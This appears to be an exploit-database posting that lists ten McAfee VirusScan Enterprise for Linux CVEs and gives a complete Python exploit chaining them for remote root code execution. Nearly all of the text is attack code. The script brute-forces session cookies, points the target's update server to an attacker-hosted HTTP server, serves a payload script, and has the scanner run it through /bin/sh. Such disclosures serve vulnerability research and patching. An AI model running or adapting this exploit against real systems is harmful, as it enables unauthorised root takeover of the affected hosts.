McAfee Virus Scan Enterprise For Linux Remote Code Execution
Posted on 14 December 2016
Source: https://nation.state.actor/mcafee.html Vulnerabilities CVE-2016-8016: Remote Unauthenticated File Existence Test CVE-2016-8017: Remote Unauthenticated File Read (with Constraints) CVE-2016-8018: No Cross-Site Request Forgery Tokens CVE-2016-8019: Cross Site Scripting CVE-2016-8020: Authenticated Remote Code Execution & Privilege Escalation CVE-2016-8021: Web Interface Allows Arbitrary File Write to Known Location CVE-2016-8022: Remote Use of Authentication Tokens CVE-2016-8023: Brute Force Authentication Tokens CVE-2016-8024: HTTP Response Splitting CVE-2016-8025: Authenticated SQL Injection When chaned together, these vulnerabilities allow a remote attacker to execute code as root. ''' #!/bin/python3 import time import requests import os import sys import re import threading import subprocess from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn # Per-target configuration target_domain="https://10.0.1.130" # https://target_ip local_ip = '10.0.1.128' # Attacker IP for victim to connect back to authorized_ip="127.0.0.1" # IP address cookie will be valid for update_server_port = 8080 # Port update server listens on delay_seconds = 10 # How long should the server take to serve the update target_port = 55443 # Port to target # Put payload script in payload.sh # Initialization payload_in_place = threading.Event() requests.packages.urllib3.disable_warnings() with open("payload.sh", "r") as f: payload = f.read() def pprint(inp, flag=False): pad = "#" if flag: pad = "*" print(" " + pad+ " " + inp) def crack_cookie(): pprint("Cracking Cookie") # A page that requires authentication url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=productUpdate.html" # Start at the current time + 100 in case of recent login with clock skew date_val = int(time.time()+100) cookie_fmt = authorized_ip+"/n/0/%d-checksum// "+authorized_ip + " "*20 # Make requests, print after every 600 while True: cookie = cookie_fmt % date_val req_cookie = {"nailsSessionId": cookie} r = requests.get(url, cookies=req_cookie, verify=False) r.raise_for_status() if "Set-Cookie" in r.headers: valid_cookie = cookie timestamp = cookie.split("/")[3].split("-")[0] break elif date_val % 600 == 0: print("Now trying %s" % time.asctime(time.localtime(date_val))) date_val -= 1 pprint("Cookie Cracked: " + timestamp, True) return valid_cookie def update_update_server(auth_cookie): pprint("Updating update server") # Replace McAfeeHttp update server with attacker local_ip:update_server_port url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&addr=127.0.0.1%3A65443&tplt=" "repository.html&sitelist=add&mon%3A0=db+set+1+_table%3Drepository+status%3D1+siteList%3D%253C%253F" "xml%2520version%253D%25221.0%2522%2520encoding%253D%2522UTF-8%2522%253F%253E%250A%253Cns%253ASiteLists" "%2520xmlns%253Ans%253D%2522naSiteList%2522%2520GlobalVersion%253D%2522PATTeELCQSEhZwxKf4PoXNSY4%2Fg%25" "3D%2522%2520LocalVersion%253D%2522Wed%252C%252030%2520Dec%25202009%252011%253A20%253A59%2520UTC%2522%2" "520Type%253D%2522Client%2522%253E%253CPolicies%2F%253E%253CSiteList%2520Default%253D%25221%2522%2520Na" "me%253D%2522SomeGUID%2522%253E%253CHttpSite%2520Type%253D%2522repository%2522%2520Name%253D%2522McAfee" "Http%2522%2520Order%253D%25221%2522%2520Server%253D%2522"+local_ip+"%253A"+str(update_server_port) + "%2522%2520Enabled%253D%25221%2522%2520Local%253D%25221%2522%253E%253CRelativePath%2F%253E%253CUseAuth%" "253E0%253C%2FUseAuth%253E%253CUserName%253E%253C%2FUserName%253E%253CPassword%2520Encrypted%253D%25220" "%2522%2F%253E%253C%2FHttpSite%253E%253CFTPSite%2520Type%253D%2522fallback%2522%2520Name%253D%2522McAfe" "eFtp%2522%2520Order%253D%25222%2522%2520Server%253D%2522ftp.nai.com%253A21%2522%2520Enabled%253D%25221" "%2522%2520Local%253D%25221%2522%253E%253CRelativePath%253ECommonUpdater%253C%2FRelativePath%253E%253CU" "seAuth%253E1%253C%2FUseAuth%253E%253CUserName%253Eanonymous%253C%2FUserName%253E%253CPassword%2520Encr" "ypted%253D%25221%2522%253ECommonUpdater%40McAfeeB2B.com%253C%2FPassword%253E%253C%2FFTPSite%253E%253C%" "2FSiteList%253E%253C%2Fns%253ASiteLists%253E+_cmd%3Dupdate+&mon%3A1=task+setsitelist&mon%3A2=db+select" "+_show%3DsiteList+_show%3Dstatus+_table%3Drepository&info%3A2=multi%2Cshow&reposProperty=repository&re" "posProperty=fallback&useOfProxy=on" r = requests.get(url, cookies=auth_cookie, verify=False) r.raise_for_status() pprint("Updated update server", True) def download_update(req_cookie): pprint("Requesting target download payload") # Send request to make target download payload url = target_domain + ":" + str(target_port) + "/0409/nails" updateName = "update_%d" % int(time.time()) postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&scheduleOp=add&mon%3A0=db+set+1+_tab" "le%3Dschedule++taskName%3D{0}+taskType%3DUpdate+taskInfo%3DtoUpdate%3Ddat%253Bengine+timetable%3Dtype%" "3Dunscheduled+status%3DIdle++i_recurrenceCounter%3D0+&mon%3A1=task+nstart+{0}&mon%3A2=db+select+_asc%3D" "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+_sh" "ow%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dprogress+" "_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offset%3D0&in" "fo%3A2=multi%2Cshow&mon%3A3=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A3=multi%2Cshow&loc" "%3A4=conf+get+browser.resultsPerPage&info%3A4=multi%2Cshow&mon%3A5=task+updatecrontab&info%3A5=multi%2" "Cshow&echo%3A6=1&info%3A6=pageNo&echo%3A7=&info%3A7=selectedTask""").format(updateName) headers = {'Content-Type': 'application/x-www-form-urlencoded'} r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers) r.raise_for_status() pprint("Payload download requested", 1) def exec_catalogz(req_cookie): pprint("Making target execute payload") #### Get commit_id and ODS_name url = target_domain + ":" + str(target_port) + "/0409/nails?pg=proxy&tplt=schedOnDemand.html&addr=127.0" ".0.1:65443&mon:0=sconf+ODS+select+section%3Dnailsd.profile.ODS&info:0=multi,show,digest&echo:1=ODS&inf" "o:1=profileName&mon:2=sconf+ODS+select+section%3Dnailsd.profile.ODS_default&info:2=multi,show&echo:3=O" "DS_default&info:3=defaultProfileName&mon:4=sconf+ODS+select+attribute%3Dnailsd.oasEnabled&info:4=multi" ",show&mon:5=extensions&info:5=multi,show&mon:6=db+select+_show=max(i_taskId)+_table=schedule&info:6=mu" "lti,show&mon:7=utco&info:7=single,show,serverUtcOffset&echo:8=generate&info:8=profileNameAction" r = requests.get(url, cookies=req_cookie, verify=False) r.raise_for_status() regex = re.search("|digest=(.+?)|", r.text) if not regex: print(" ERROR: Could not get commit_id when generating evil scan ") return False commit_id = regex.groups(1)[0] # Send request to start evil scan payload_path = "%2Fopt%2FMcAfee%2Fcma%2Fscratch%2Fupdate%2Fcatalog.z" binary_path = "%2Fbin%2Fsh" # Use "%2fbin%2Fstatic-sh" for versions 1.x url = target_domain + ":" + str(target_port) + "/0409/nails" ODS_name = "ODS_1" # This may need to be increased if the name already exists scan_name = "scan_%s" % str(int(time.time())) postdata = ("pg=proxy&addr=127.0.0.1%3A65443&tplt=scheduledTasks.html&mon%3A0=sconf+{1}+begin&info%3A0=" "multi%2Cshow&mon%3A1=sconf+{1}+delete+{0}+section%3Dnailsd.profile.{1}.filter+section%3Dnailsd.prof" "ile.{1}.action&mon%3A2=sconf+{1}+set+{0}+nailsd.profile.{1}.allFiles%3Dtrue+nailsd.profile.{1}.child" "InitTmo%3D240+nailsd.profile.{1}.cleanChildren%3D2+nailsd.profile.{1}.cleansPerChild%3D10000+nailsd" ".profile.{1}.datPath%3D%2Fopt%2FNAI%2FLinuxShield%2Fengine%2Fdat+nailsd.profile.{1}.decompArchive%3" "Dtrue+nailsd.profile.{1}.decompExe%3Dtrue+nailsd.profile.{1}.engineLibDir%3D%2Fopt%2FNAI%2FLinuxShi" "eld%2Fengine%2Flib+nailsd.profile.{1}.enginePath%3D{3}+nailsd.profile.{1}.factoryI" "nitTmo%3D240+nailsd.profile.{1}.heuristicAnalysis%3Dtrue+nailsd.profile.{1}.macroAnalysis%3Dtrue+na" "ilsd.profile.{1}.maxQueSize%3D32+nailsd.profile.{1}.mime%3Dtrue+nailsd.profile.{1}.noJokes%3Dfalse+" "nailsd.profile.{1}.program%3Dtrue+nailsd.profile.{1}.quarantineChildren%3D1+nailsd.profile.{1}.quar" "antineDirectory%3D%2Fquarantine+nailsd.profile.{1}.quarantineFromRemoteFS%3Dfalse+nailsd.profile.{1" "}.quarantinesPerChild%3D10000+nailsd.profile.{1}.scanChildren%3D2+nailsd.profile.{1}.scanMaxTmo%3D3" "00+nailsd.profile.{1}.scanNWFiles%3Dfalse+nailsd.profile.{1}.scanOnRead%3Dtrue+nailsd.profile.{1}.s" "canOnWrite%3Dtrue+nailsd.profile.{1}.scannerPath%3D{4}+nailsd.profile.{1}.scansPerChild" "%3D10000+nailsd.profile.{1}.slowScanChildren%3D0+nailsd.profile.{1}.filter.0.type%3Dexclude-path+na" "ilsd.profile.{1}.filter.0.path%3D%2Fproc+nailsd.profile.{1}.filter.0.subdir%3Dtrue+nailsd.profile.{" "1}.filter.1.type%3Dexclude-path+nailsd.profile.{1}.filter.1.path%3D%2Fquarantine+nailsd.profile.{1}" ".filter.1.subdir%3Dtrue+nailsd.profile.{1}.filter.extensions.mode%3Dall+nailsd.profile.{1}.filter.e" "xtensions.type%3Dextension+nailsd.profile.{1}.action.Default.primary%3DClean+nailsd.profile.{1}.act" "ion.Default.secondary%3DQuarantine+nailsd.profile.{1}.action.App.primary%3DClean+nailsd.profile.{1}" ".action.App.secondary%3DQuarantine+nailsd.profile.{1}.action.timeout%3DPass+nailsd.profile.{1}.acti" "on.error%3DBlock&mon%3A3=sconf+{1}+commit+{0}&mon%3A4=db+set+{0}+_table%3Dschedule++taskName%3D{2}+" "taskType%3DOn-Demand+taskInfo%3DprofileName%3D{1}%2Cpaths%3Dpath%3A%2Ftmp%3Bexclude%3Atrue+timetabl" "e%3Dtype%3Dunscheduled+progress%3D+status%3DIdle+&mon%3A5=task+nstart+{2}&mon%3A6=db+select+_asc%3D" "taskName+_table%3Dschedule+_show%3Di_taskId+_show%3DtaskName+_show%3DtaskResults+_show%3Dtimetable+" "_show%3DtaskType+_show%3DtaskInfo+_show%3Di_lastRun+_show%3D%24i_lastRun+_show%3Dstatus+_show%3Dpro" "gress+_show%3Di_nextRun+_show%3D%24i_nextRun+_show%3Di_duration+_show%3DtaskInfo++_limit%3D50+_offs" "et%3D0&info%3A6=multi%2Cshow&mon%3A7=db+select+_table%3Dschedule+_show%3Dcount%28*%29&info%3A7=mult" "i%2Cshow&mon%3A8=sconf+ODS+begin&info%3A8=multi%2Cshow%2Cdigest&mon%3A9=task+updatecrontab&info%3A9" "=multi%2Cshow&loc%3A10=conf+get+browser.resultsPerPage&info%3A10=multi%2Cshow&echo%3A11=1&info%3A11" "=pageNo&echo%3A12=&info%3A12=selectedTask").format(commit_id, ODS_name, scan_name,payload_path, binary_path) headers = {'Content-Type': 'application/x-www-form-urlencoded'} r = requests.post(url, data=postdata, cookies=req_cookie, verify=False, headers=headers) r.raise_for_status() pprint("Payload executed", 1) def start_update_server(): class RequestHandler(BaseHTTPRequestHandler): def do_HEAD(s): s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() def do_GET(s): if s.path == "/catalog.z": s.send_response(200) s.send_header("Content-type", "text/html") s.end_headers() s.wfile.write(bytes(payload, "utf-8")) pprint("Payload placed", 1) payload_in_place.set() # Die after sending payload so we send an incomplete response raise KillServer else: # Assume all other requests are for SiteStat - Always increasing version s.send_response(200) s.send_header("Content-type", "text/xml") s.end_headers() s.wfile.write(bytes(("""<?xml version="1.0" encoding="UTF-8"?>""" """<SiteStatus Status="Enabled" CatalogVersion="2%d">""" """ </SiteStatus>""") % int(time.time()), "utf-8")) # Throwing KillServer will shutdown the server ungracefully class KillServer(Exception): def __str__(self): return "Kill Server (not an error)" # ThreadingMixIn plus support for KillServer exceptions class AbortableThreadingMixIn(ThreadingMixIn): def process_request_thread(self, request, client_address): try: self.finish_request(request, client_address) self.shutdown_request(request) except KillServer: pprint("Killing update server dirtily") self.shutdown_request(request) self.shutdown() # Only if we want to shutdown except: self.handle_error(request, client_address) self.shutdown_request(request) class BackgroundHTTPSrv(AbortableThreadingMixIn, HTTPServer): pass pprint("Launching update server") srv = BackgroundHTTPSrv((local_ip, update_server_port), RequestHandler) threading.Thread(target=srv.serve_forever).start() pprint("Update server started", 1) return srv #################################################################################### #################################################################################### pprint("Attacking %s" % target_domain, 1) # Crack the auth cookie cookie = crack_cookie() auth_cookie = {"nailsSessionId": cookie} # Start our update server locally srv = start_update_server() # Force target to use our update server update_update_server(auth_cookie) # Make target download an update from us download_update(auth_cookie) # Block until the target downloads our payload, payload_in_place.wait() # Shutdown our update server srv.shutdown() # Execute /bin/sh -(?) catalog.z exec_catalogz(auth_cookie)
